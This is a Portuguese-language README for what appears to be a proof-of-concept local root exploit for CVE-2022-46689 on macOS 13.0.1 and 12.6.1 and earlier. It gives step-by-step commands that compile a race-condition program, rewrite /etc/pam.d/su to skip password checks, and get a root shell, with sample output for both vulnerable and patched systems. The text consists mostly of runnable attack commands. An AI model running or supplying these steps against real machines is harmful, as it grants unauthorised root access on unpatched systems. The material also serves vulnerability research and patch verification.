
Obter root no macOS 13.0.1 com o CVE-2022-46689 (equivalente do macOS ao bug Dirty Cow), usando o caso de teste extraído do código-fonte do XNU da Apple.
Obtenha root no macOS 13.0.1 com CVE-2022-46689 (equivalente macOS do bug Dirty Cow), usando o caso de teste extraído do código-fonte XNU da Apple.
https://worthdoingbadly.com/macdirtycow/
Em uma máquina com macOS 13.0.1 / 12.6.1 (ou inferior), execute:
clang -o switcharoo vm_unaligned_copy_switch_race.c
sed -e "s/rootok/permit/g" /etc/pam.d/su > overwrite_file.bin
./switcharoo /etc/pam.d/su overwrite_file.bin
su
Você deve obter:
% ./switcharoo /etc/pam.d/su overwrite_file.bin
Testing for 10 seconds...
RO mapping was modified
% su
sh-3.2#
Testado no macOS 13 beta (22A5266r) com SIP desativado (ainda deve funcionar com SIP ativado).
Se o seu sistema estiver totalmente corrigido (macOS 13.1 / 12.6.2), ele deve exibir:
$ ./switcharoo /etc/pam.d/su overwrite_file.bin
Testing for 10 seconds...
vm_read_overwrite: KERN_SUCCESS:9865 KERN_PROTECTION_FAILURE:3840 other:0
Ran 13705 times in 10 seconds with no failure
e executar su ainda deve solicitar uma senha.
Graças ao Sealed System Volume, executar isso em qualquer arquivo no volume /System modifica o arquivo apenas temporariamente: ele é revertido na reinicialização. Executá-lo em um arquivo em um volume gravável preservará a modificação após a reinicialização.
/etc/pam.d.